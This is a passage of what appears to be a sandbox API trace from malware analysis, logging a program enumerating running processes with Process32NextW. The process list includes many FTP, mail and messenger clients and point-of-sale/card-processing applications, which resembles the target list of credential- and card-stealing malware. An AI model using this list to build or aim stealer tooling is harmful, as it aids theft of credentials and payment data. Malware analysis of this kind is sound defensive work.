cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.316] lstrlenW (lpString="svchost.exe") returned 11 [0074.316] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.317] lstrlenW (lpString="svchost.exe") returned 11 [0074.317] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.317] lstrlenW (lpString="svchost.exe") returned 11 [0074.317] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.318] lstrlenW (lpString="svchost.exe") returned 11 [0074.318] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0074.318] lstrlenW (lpString="audiodg.exe") returned 11 [0074.318] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.318] lstrlenW (lpString="svchost.exe") returned 11 [0074.319] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.319] lstrlenW (lpString="svchost.exe") returned 11 [0074.319] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0074.319] lstrlenW (lpString="dwm.exe") returned 7 [0074.319] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0074.320] lstrlenW (lpString="explorer.exe") returned 12 [0074.320] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0074.320] lstrlenW (lpString="spoolsv.exe") returned 11 [0074.320] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.320] lstrlenW (lpString="svchost.exe") returned 11 [0074.320] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0074.321] lstrlenW (lpString="taskhost.exe") returned 12 [0074.321] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0074.321] lstrlenW (lpString="taskeng.exe") returned 11 [0074.321] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="communist_nick.exe")) returned 1 [0074.322] lstrlenW (lpString="communist_nick.exe") returned 18 [0074.322] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="promotion_earned_tagged.exe")) returned 1 [0074.322] lstrlenW (lpString="promotion_earned_tagged.exe") returned 27 [0074.322] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="prize.exe")) returned 1 [0074.322] lstrlenW (lpString="prize.exe") returned 9 [0074.322] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="controversial_facilitate_struct.exe")) returned 1 [0074.323] lstrlenW (lpString="controversial_facilitate_struct.exe") returned 35 [0074.323] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="tee kansas ww.exe")) returned 1 [0074.323] lstrlenW (lpString="tee kansas ww.exe") returned 17 [0074.323] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="red-generated-percent.exe")) returned 1 [0074.323] lstrlenW (lpString="red-generated-percent.exe") returned 25 [0074.324] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospects.exe")) returned 1 [0074.324] lstrlenW (lpString="prospects.exe") returned 13 [0074.324] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="signalpackard.exe")) returned 1 [0074.324] lstrlenW (lpString="signalpackard.exe") returned 17 [0074.324] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="assistjacksonville.exe")) returned 1 [0074.325] lstrlenW (lpString="assistjacksonville.exe") returned 22 [0074.325] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="release.exe")) returned 1 [0074.325] lstrlenW (lpString="release.exe") returned 11 [0074.325] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="billethicalpresent.exe")) returned 1 [0074.326] lstrlenW (lpString="billethicalpresent.exe") returned 22 [0074.326] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="introduce_passport_wiley.exe")) returned 1 [0074.326] lstrlenW (lpString="introduce_passport_wiley.exe") returned 28 [0074.326] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="insiderviewersflorist.exe")) returned 1 [0074.326] lstrlenW (lpString="insiderviewersflorist.exe") returned 25 [0074.326] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aids oasis luxembourg.exe")) returned 1 [0074.327] lstrlenW (lpString="aids oasis luxembourg.exe") returned 25 [0074.327] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="stickers_nations.exe")) returned 1 [0074.327] lstrlenW (lpString="stickers_nations.exe") returned 20 [0074.327] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="initiated-scary.exe")) returned 1 [0074.327] lstrlenW (lpString="initiated-scary.exe") returned 19 [0074.328] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0074.328] lstrlenW (lpString="3dftp.exe") returned 9 [0074.328] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0074.612] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0074.612] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0074.612] lstrlenW (lpString="alftp.exe") returned 9 [0074.612] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0074.613] lstrlenW (lpString="barca.exe") returned 9 [0074.613] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x43c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0074.613] lstrlenW (lpString="bitkinex.exe") returned 12 [0074.613] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x730, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0074.615] lstrlenW (lpString="coreftp.exe") returned 11 [0074.616] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0074.616] lstrlenW (lpString="far.exe") returned 7 [0074.616] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0074.616] lstrlenW (lpString="filezilla.exe") returned 13 [0074.616] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0074.617] lstrlenW (lpString="flashfxp.exe") returned 12 [0074.617] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0074.617] lstrlenW (lpString="fling.exe") returned 9 [0074.617] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0074.617] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0074.617] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0074.618] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0074.618] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x31c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0074.618] lstrlenW (lpString="icq.exe") returned 7 [0074.618] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0074.619] lstrlenW (lpString="leechftp.exe") returned 12 [0074.619] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0074.619] lstrlenW (lpString="ncftp.exe") returned 9 [0074.619] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0074.619] lstrlenW (lpString="notepad.exe") returned 11 [0074.620] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0074.620] lstrlenW (lpString="operamail.exe") returned 13 [0074.620] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0074.620] lstrlenW (lpString="pidgin.exe") returned 10 [0074.620] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0074.621] lstrlenW (lpString="scriptftp.exe") returned 13 [0074.621] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0074.621] lstrlenW (lpString="skype.exe") returned 9 [0074.621] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0074.622] lstrlenW (lpString="smartftp.exe") returned 12 [0074.622] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0074.622] lstrlenW (lpString="thunderbird.exe") returned 15 [0074.622] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0074.623] lstrlenW (lpString="totalcmd.exe") returned 12 [0074.623] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0074.624] lstrlenW (lpString="trillian.exe") returned 12 [0074.624] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0074.624] lstrlenW (lpString="webdrive.exe") returned 12 [0074.624] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0074.625] lstrlenW (lpString="whatsapp.exe") returned 12 [0074.625] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0074.625] lstrlenW (lpString="winscp.exe") returned 10 [0074.625] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0074.626] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0074.626] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0074.626] lstrlenW (lpString="active-charge.exe") returned 17 [0074.626] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0074.627] lstrlenW (lpString="accupos.exe") returned 11 [0074.627] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0074.627] lstrlenW (lpString="afr38.exe") returned 9 [0074.627] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0074.628] lstrlenW (lpString="aldelo.exe") returned 10 [0074.628] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0074.628] lstrlenW (lpString="ccv_server.exe") returned 14 [0074.628] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0074.629] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0074.629] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0074.629] lstrlenW (lpString="creditservice.exe") returned 17 [0074.629] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0074.630] lstrlenW (lpString="edcsvr.exe") returned 10 [0074.630] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0074.630] lstrlenW (lpString="fpos.exe") returned 8 [0074.630] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0074.631] lstrlenW (lpString="isspos.exe") returned 10 [0074.631] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0074.631] lstrlenW (lpString="mxslipstream.exe") returned 16 [0074.631] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0074.632] lstrlenW (lpString="omnipos.exe") returned 11 [0074.632] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0074.632] lstrlenW (lpString="spcwin.exe") returned 10 [0074.632] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0074.633] lstrlenW (lpString="spgagentservice.exe") returned 19 [0074.633] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x994, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0074.633] lstrlenW (lpString="utg2.exe") returned 8 [0074.633] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, 